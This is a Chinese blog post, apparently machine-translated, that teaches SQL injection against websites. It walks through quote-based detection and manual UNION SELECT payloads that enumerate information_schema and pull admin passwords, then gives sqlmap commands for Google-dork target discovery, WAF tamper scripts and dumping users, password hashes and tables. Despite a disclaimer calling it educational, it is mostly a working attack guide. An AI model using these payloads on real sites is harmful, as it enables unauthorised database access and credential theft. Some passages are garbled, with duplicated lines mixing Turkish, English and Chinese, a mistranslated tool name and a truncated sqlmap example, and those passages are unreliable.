赞
踩
免责声明本篇文章仅用于教育,请不要在中华人民共和国境内使用本文章内容,出事与作者无关
1.SQL 漏洞
SQL 的概念字面意思是“结构化查询语言”。换句话说,存在查询-响应关系。例如,在社交媒体应用程序或电子商务网站中,您在注册时输入的用户名和密码将保存在数据库中,并且在您下次登录过程中,系统会尝试通过查询数据库来匹配您的用户名和密码组合。如果匹配,您可以输入,如果不匹配,则不能。因此,SQL 数据库使用请求-响应引擎。
1.1 什么是SQL漏洞?
正如我上面所说,数据库具有标准的语法类型,就像软件语言一样,并且某些系统漏洞的出现与编写这些数据库的软件开发人员所犯的逻辑错误一致。出现SQL漏洞的主要原因是,它不查询用户的请求,就向用户给出了相应的响应。不幸的是,无论对这个漏洞如何掉以轻心,在数据安全方面,它可能不会给公司带来好的结果。因为,由于 SQL 注入漏洞,您可以在没有 root 权限的情况下使用数据库定向所需的请求并获得所需的响应。
1.2 如何检测SQL漏洞?
这是一个在 SQL 注入站点 URL 中很明显的漏洞。当然,由于在这里分享这些网站是不道德的,如果我们 example-site.com 展示它们;
https://www.example-site.com/page.php?id=5
我们在末尾看到的“page.php?id=x”结构存在于所有SQL注入漏洞中。但是,并非所有具有此语句的系统都可能存在 SQL 漏洞。
我们正在谈论的这句话实际上是通往数据库的网关,为了做到这一点,我们需要逃离入口处的安全。这就是我们伪装的原因。此操作意味着使用引号 (') 转义字符串部分。此过程后将遇到的错误可能如下所示:
您的 SQL 语法有错误;检查与您的 MariaDB 服务器版本对应的手册,了解在第 1 行的“index.php?id=2”附近使用的正确语法
如果有这个错误,就存在SQL漏洞,我什至可以说以下内容;如果页面图像发生更改,则很有可能存在该漏洞。
1.3 如何利用SQL漏洞?
假设我们找到一个存在 SQL 漏洞的目标站点,有很多方法可以利用这个漏洞。使用一些工具(我稍后会讨论它)或手动。首先,让我们看看什么是手动 sql。
1.3.1 手动 SQL 利用
http://www.hedefitemiz.com/ product.php?id=4
http://www.hedefsitemiz.com/ product.php?id=4’ (We left quotation marks on the page, there is a sql deficit if there is an error, data loss, etc. on the page.)
http://www.hedefsitemiz.com/ÜRÜN.php?id=4’ order by 1 – - (Increment the “1” Number Next to the Order By Command until Error Gets) Let’s say we got the error at 5
http://www.hedefsitemiz.com/ product.php?id=-4’ union select 1,2,3,4 – - after doing this, let’s say the number 3 is reflected on the page, a number between 1 and 5 needs to be reflected on the page 3 Let’s say reflected
http://www.hedefitemiz.com/ product.php?id=4http://www.hedefsitemiz.com/ 产品.php?id=4
’ (我们在页面上留下了引号,如果页面上出现错误、数据丢失等,则存在 sql 赤字。
http://www.hedefsitemiz.com/ÜRÜN.php?id=4’ 顺序 1 – - (递增 Order By 命令旁边的“1”数字,直到出现错误) 假设我们在 5 http://www.hedefsitemiz.com/ 产品.php?id=-4’ 联合选择 1,2,3,4 – - 执行此操作后,假设数字 3 反映在页面上,需要反映在页面上 1 到 5
之间的数字 3 假设反映。
http://www.hedefsitemiz.com/product.php?id=-4’ union select 1,2,version(),4 – -
使用此代码,我们可以了解版本信息。
http://www.hedefsitemiz.com/product.php?id=-4’ union select 1,2,database(),4 – -
使用此代码,我们可以学习数据库名称。
如何找到表名?:
http://www.hedefsitemiz.com/product.php?id=-4’ union select 1,2, table_name,4 from information_schema.tables – -
让我们从这里找到管理表,假设表名是admin,我们如何从information_schema.列中拉出它
http://www.hedefsitemiz.com/product.php?id=-4’ union select 1,2, column_name,4 from information_schema.columns where table_name=admin – -
这样我们拉取管理表
每次输出用户名、密码、id时,我们如何拉取它们?
http://www.hedefsitemiz.com/ product.php?id=-4’ union select 1,2, password,4 from admin – -
您可以像这样获取密码,如果您删除密码并输入用户名,
您还可以拉取用户名部分。
1.3.2 使用 SQL 工具进行利用 这里的 SQL 工具
是指使利用 SQL 漏洞更容易的工具。例如 havij、sqlmap 等。
如果我们谈论 Havij 车辆,我不会详细介绍。无论如何,这是一个简单的工具。那些想详细阅读的人可以看看这个话题;
每个人都知道SQLMap工具。它是近年来最常用和最有效的工具之一。Sqlmap是一种使用python语言编写的黑客工具,利用数据库漏洞并转储数据库信息。
用法和参数
Sqlmap是一个非常简单有效的工具,适合初学者使用。让我们通过示例解释此工具中使用的一些参数来了解 sqlmap 的工作原理。
选项选项卡
-h /–help:这是我们打印简单帮助和使用功能的命令。
-hh:这是我们打印高级帮助和使用功能的命令。
-v:这是我们的详细命令,默认情况下定义为 1,我们指定它在 sqlmap 运行时向我们显示的输出的显示。它的范围从 0 到 6。0 返回最少的输出,而 6 返回最多的输出。
“目标”选项卡
这是我们的类别,其中包含用于选择目标所需的参数。必须至少选择一个。
-u, –url:如果我们没有对数据库的直接访问权限并且我们想尝试注入,这是我们可以使用的命令。
示例用法:
sqlmap -u “http://www.website.com/test.php?id=1”
-g:这是我们的命令,允许我们使用 Google dork 在具有特定模式的站点上执行测试。
示例用法:
sqlmap -g “.php?id=”
注入选项卡:
这是我们的类别,我们可以在其中进行调整,例如要测试的参数、个人有效负载定义和篡改脚本定义。
–dbms:为了帮助sqlmap,如果我们知道后端运行的数据库管理系统,我们可以用dbms定义它。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –dbms=“MySql”
–篡改:如果用户和后端数据库之间存在弱访问控制,则我们的参数用于通过 WAF 传递要注入的字符串。它将采用的参数来自 sqlmap 文件夹中的篡改文件夹。
示例用法:
sqlmap -u “www.siteadi.com/testet.php?id=1″ –tamper=”between”
–前缀:这是我们的参数,我们可以通过在有效负载前面添加我们想要的值来进一步自定义要测试的参数。
示例用法:
sqlmap -u “www.siteadi.com/testet.php?ad=test” –prefix “‘)”
枚举选项卡:
这是我们的类别,其中包含我们将用于通知数据库管理系统的参数。它用于提取表中的数据并获取信息。
–all:这是同时执行所有参数的命令。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –all
–users:这是我们可以用来列出数据库管理系统用户的参数。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –users
–passwords:如果当前用户有权读取系统表,它可以帮助我们散列密码。对于此操作,Sqlmap 首先拉取用户。然后它尝试拉取传递哈希。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –
–dbs:如果当前用户有权读取系统表,则我们的参数是检索数据库名称。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –dbs
–tables:如果当前用户有权读取系统表,则我们的参数允许我们提取所选数据库中的所有表。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –tables
sqlmap -u “www.sitename.com/testet.php?id=1” -D databasename –tables:如果当前用户有权读取系统表,则我们的参数允许我们从所选数据库中的选定表
中提取所有列。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” –columns sqlmap -u “www.sitename.com/testet.php?id=1” -D databaseName -T tableName –columns
–dump:如果我们想转储数据库或表的内容,可以使用这个参数。
示例用法:
sqlmap -u “www.sitename.com/testet.php?id=1” -D databaseName -T tableName –dump注意使用–dump已经触犯法律
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。